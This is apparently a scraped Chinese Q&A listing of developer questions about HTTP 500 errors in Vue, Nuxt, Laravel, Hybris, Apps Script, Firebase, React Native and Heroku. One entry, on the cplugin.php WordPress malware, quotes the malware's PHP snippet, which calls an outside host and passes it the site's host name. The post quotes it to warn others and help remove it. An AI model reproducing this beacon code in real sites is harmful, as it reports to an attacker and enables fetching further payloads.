标签: http-status-code-500

VueJS HTTP 请求错误 500 处理

我在向 API 发出 HTTP 请求时遇到了这个问题,如果出现错误(特别是错误 500),JS 就会中断或进入无限循环,我应该关闭窗口并重新打开页面。我需要的是弹出一条消息,并以非常通用的方式解释发生了什么。我应该如何处理这种错误的任何想法?

示例请求:

this.$http.get('people', { params }).then(({ data }) => {

            this.setFetching({
                fetching: false
            })
        })
Run Code Online (Sandbox Code Playgroud)

error-handling http http-status-code-500 vue.js

3
推荐指数
1
解决办法
7853
查看次数

cplugin.php 文件恶意软件导致 WordPress 网站 500 错误和中断

cplugin.php最近发生了一次攻击,许多 WordPress 网站因恶意软件文件而被关闭。

该恶意软件是编写错误的代码,因此目前它主要导致 500 服务器运行时错误。但最好立即将其删除,因为它会迁移到服务器上的所有多个网站,并且具有点击恶意软件 URL 来下载其他文件的代码。恶意软件代码片段:

if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_cplugin("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
Run Code Online (Sandbox Code Playgroud)

我已经找到了一个解决方案并自己发布答案以帮助所有用户。

编辑:

有报告称同一文件对用户的命名不同:在这种情况ccode.php, cplugin.phphelad.php可以修改修复程序。

wordpress malware http-status-code-500

3
推荐指数
1
解决办法
6950
查看次数

从 Nuxt 上传到 AWS S3 存储桶时出现 500 内部服务器错误

我正在尝试使用aws-sdk v3从 Nuxt 应用程序的 Vue 组件将文件上传到 AWS S3 。

这是我上传的方法。

<script>
export default {
...
methods: {
onSubmit(event) {
    event.preventDefault()
    this.addPhoto()
},
addPhoto() {
  // Load the required clients and packages
  const { CognitoIdentityClient } = require('@aws-sdk/client-cognito-identity')
  const { fromCognitoIdentityPool } = require('@aws-sdk/credential-provider-cognito-identity')
  const {
    S3Client,
    PutObjectCommand,
    ListObjectsCommand,
    DeleteObjectCommand,
  } = require('@aws-sdk/client-s3')

  const REGION = 'us-east-1' // REGION
  const albumBucketName = 'samyojya-1'
  const IdentityPoolId = 'XXXXXXX'

  const s3 = new S3Client({
    region: REGION,
    credentials: {
      accessKeyId: this.$config.CLIENT_ID,
      secretAccessKey: this.$config.CLIENT_SECRET, …
Run Code Online (Sandbox Code Playgroud)

amazon-s3 http-status-code-500 vue.js amazon-cognito nuxt.js

3
推荐指数
1
解决办法
6723
查看次数

Hybris 中的自定义 500 错误页面

我必须在 Hybris 的空白页面上重定向您在图片中看到的 500 错误页面。

在此处输入图片说明

怎么能做到这一点?

error-handling web.xml spring-mvc http-status-code-500 hybris

2
推荐指数
1
解决办法
1393
查看次数

Cpanel共享主机中的Laravel 5.5错误500

我已经将laravel项目文件夹上传到cpanel托管中。我没有VPS。我已经阅读了很多有关laracast和stackoveflow的示例,但仍然会收到此500内部错误。这是我的设定。

我已经在laravel项目中分离了公用文件夹,并将另一个放在这样的主机根目录中。

|-- my_other_folder_project/
|-- [some other folders...]
|-- public_html/ 
|   |-- [some other folders...]
|   |-- my_public_project/
Run Code Online (Sandbox Code Playgroud)

并将index.php设置更改为:

require __DIR__.'/../vendor/autoload.php';
Run Code Online (Sandbox Code Playgroud)

require __DIR__.'/../../my_other_folder_project/vendor/autoload.php';
Run Code Online (Sandbox Code Playgroud)

$app = require_once __DIR__.'/../bootstrap/app.php';
Run Code Online (Sandbox Code Playgroud)

$app = require_once __DIR__.'/../../my_other_folder_project/bootstrap/app.php';
Run Code Online (Sandbox Code Playgroud)

我已经为公用文件夹创建了.htaccess文件,如下所示:

DirectoryIndex index.php

<IfModule mod_rewrite.c>
    <IfModule mod_negotiation.c>
        Options -MultiViews
    </IfModule>

    RewriteEngine On

    # Redirect Trailing Slashes If Not A Folder...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)/$ /$1 [L,R=301]

    # Handle Front Controller...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^ index.php [L]

    # Handle Authorization Header …
Run Code Online (Sandbox Code Playgroud)

php cpanel http-status-code-500 laravel laravel-5.5

2
推荐指数
2
解决办法
1万
查看次数

尝试在 GAS doPOST 中使用开发模式

在此处输入图片说明

我正在尝试使用邮递员测试我的应用程序脚本 doPost 功能。到目前为止我有:

function doPost(e) {

 var id = '1L_U7MhmV............................'
  SpreadsheetApp.openById(id).getSheetByName('responses').appendRow([new Date()]);
 var params = JSON.stringify(e.parameter);



 return ContentService.createTextOutput(JSON.stringify(e.parameter));
 }
Run Code Online (Sandbox Code Playgroud)

我可以让它与 /exec 字符串一起工作,但是当我尝试 /dev 字符串时我不能。我收到 500 错误。我已登录我的帐户并更新了发布下的版本号。我怎样才能让它工作?

编辑:

谢谢你。我正在尝试选择 1。我创建了一个记录宣誓令牌的函数:

function  getOAuthToken1() {    
  Logger.log('Current project has ' + ScriptApp.getOAuthToken());
}
Run Code Online (Sandbox Code Playgroud)
  • 我运行它并获得了令牌。然后插入

https://script.google.com/macros/s/ACCESSTOKEN/dev

但是发布到这个会产生:

Sorry, the file you have requested does not exist.
Run Code Online (Sandbox Code Playgroud)

编辑2:

在此处输入图片说明

web-applications google-apps-script http-status-code-500 postman

2
推荐指数
1
解决办法
512
查看次数

对于每个其他请求,状态 500“错误:无法处理该请求”

我制作了一个 Flutter 应用程序,刚刚开始使用 Cloud Functions 向其他手机发送推送通知。我通过 API 调用来调用云函数,也就是说,消息被发送,我得到响应代码 200。但有趣的是,大约每隔一段时间(有时更多,有时更少)我得到回复:

状态代码:500,正文:“错误:无法处理请求”

这特别奇怪,因为目前,我每次都发送完全相同的消息!...正如,它是完全相同的 API 调用,没有标头和完全相同的正文。然而,我得到了不同的结果。问题可能是什么?

这是我的云功能:

const functions = require("firebase-functions");
const admin = require("firebase-admin");

exports.sendMsg = functions.https.onRequest((request, response) => {

  var decodedBody = JSON.parse(request.body);
  const message = decodedBody;

  // Send a message to the device corresponding to the provided
  // registration token:
  admin.initializeApp();
  admin.messaging().send(message)
      .then((res) => {
        // Response is a message ID string.
        console.log("Successfully sent message:", res);
        response.send("Message sent!\n\n" + res);
      })
      .catch((error) => {
        console.log("Error sending message:", error);
        response.send("Error sending …
Run Code Online (Sandbox Code Playgroud)

javascript http-status-code-500 flutter google-cloud-functions firebase-cloud-messaging

2
推荐指数
1
解决办法
1052
查看次数

行太多会导致500错误?

我在数据库中有40k条目,我试图使用laravel中的简单提取来调用它们.

$domains = Domain::where("available", 1)->limit(1000)->get();
return view('domains')
    ->with("domains", $domains);
Run Code Online (Sandbox Code Playgroud)

这可以很好地工作几千行.但如果我没有对通话设置限制,我会收到500错误.我无法理解为什么,我无法找到我想要发现如何避免这个问题的地方,我似乎无法在apache日志中找到任何内容,或者laravel自己的日志位于存储中.

php mysql http-status-code-500 laravel

1
推荐指数
1
解决办法
759
查看次数

Laravel 5.2 未从 ubuntu 上的 .env 读取

注意:这个问题不是这些问题的重复:

  1. Laravel 5.2 不读取 env 文件
  2. Laravel 5.2 .env 有时无法及时加载

我收到此错误:

production.ERROR: exception 'RuntimeException' with message 'No supported encrypter found. The cipher and / or key length are invalid.' in /home/coder/.local/share/Trash/files/myblog/vendor/laravel/framework/src/Illuminate/Encryption/EncryptionServiceProvider.php:45
Run Code Online (Sandbox Code Playgroud)

当我尝试时,dd($config['key']);它返回“null”。甚至数据库环境变量也返回空值。所以这意味着 Laravel 没有从 .env 文件中读取。

  1. 是什么原因?
  2. 如何解决这个问题?

现在我已经通过在 Config/app.php 文件中手动指定键并在 Config/database.php 文件中设置数据库值解决了这个问题

我怀疑我对 .env 文件的权限/所有者有误。我正在Elementary OS 中开发

ubuntu http-status-code-500 laravel laravel-environment laravel-5.2

1
推荐指数
1
解决办法
3510
查看次数

在Windows上使用Laravel 5.7遇到500个服务器错误

我已经从git克隆了repo,并制作了composer install

然后,我正在启动服务器,但是每次出现500服务器错误

另外,我尝试使用创建一个新项目,composer create-project --prefer-dist laravel/laravel blog 并且该项目运行良好。

在我的错误日志中,我收到了如下错误:

production.ERROR:未指定应用程序加密密钥。{“ exception”:“ [对象](RuntimeException(code:0):未指定应用程序加密密钥。位于C:\ OSPanel \ domains \ contact-fw-domanskyi \ vendor \ laravel \ framework \ src \ Illuminate \ Encryption \ EncryptionServiceProvider.php:44)[stacktrace]

php http-status-code-500 laravel laravel-5.7

1
推荐指数
2
解决办法
5352
查看次数

将本机图像上传反应为表单数据

Postman formdata 工作正常,但这会在 http 500 错误后返回。这个块有什么问题。


响应 {type: "default", status: 500, ok: false, statusText: undefined, headers: Headers, ...}headers: Headers {map: {...}}ok: falsestatus: 500statusText: undefinedtype: "default"url: " http://cupdes.com/api/v1/create-user "_bodyInit:""_bodyText:"" proto : 对象 "rtghj"

import React, {Component} from 'react';
import {Platform, StyleSheet,View,Image,ScrollView,TextInput,KeyboardAvoidingView,TouchableOpacity,TouchableHighlight,AsyncStorage,} from 'react-native';
import { Container, Header, Content, Button, Text,Input, Label,Item,Form, } from 'native-base';
import Icon from 'react-native-vector-icons/FontAwesome5';
import ImagePicker from 'react-native-image-picker';

export default class SignUp extends Component {
  constructor(){
    super();
    this.state = {
      email: "",
      name: "",
      password: "",
      photo: …
Run Code Online (Sandbox Code Playgroud)

json form-data http-status-code-500 react-native

1
推荐指数
1
解决办法
8988
查看次数

Heroku Rails API 在获取后请求时给出 500 内部服务器错误

我正在尝试向上传到 Heroku 的 Rails API 发出 POST 请求。目前我正在使用邮递员进行测试,只是为了确保它在那里工作,然后再继续在 heroku 应用程序之间进行测试。在本地,我能够与 React 前端和 Rails API 后端进行交互。本地主机没有问题。

URL: https://appname.herokuapp.com/api/v1/users/

headers: 
key: Access-Control-Allow-Origin, value: *
//I have also removed the access control allow origin so with and without.
key: Content-type, value: application/json
Run Code Online (Sandbox Code Playgroud)

创建用户时传入的数据确实已创建,但返回响应是 500 内部服务器错误

[
{
"id": 1,
"first_name": "Roger",
"last_name": "Perez",
"email": "roger@yahoo.com",
"birthday": "2000-10-10",
"gender": "male",
"avatar": null,
"home_base": null,
"initials": null,
"comments": [],
"events": [],
"user_events": [],
"messages": []
},
Run Code Online (Sandbox Code Playgroud)

导轨

class Api::V1::UsersController < ApplicationController
  # before_action :requires_login, only: …
Run Code Online (Sandbox Code Playgroud)

ruby-on-rails heroku fetch http-status-code-500

0
推荐指数
1
解决办法
3454
查看次数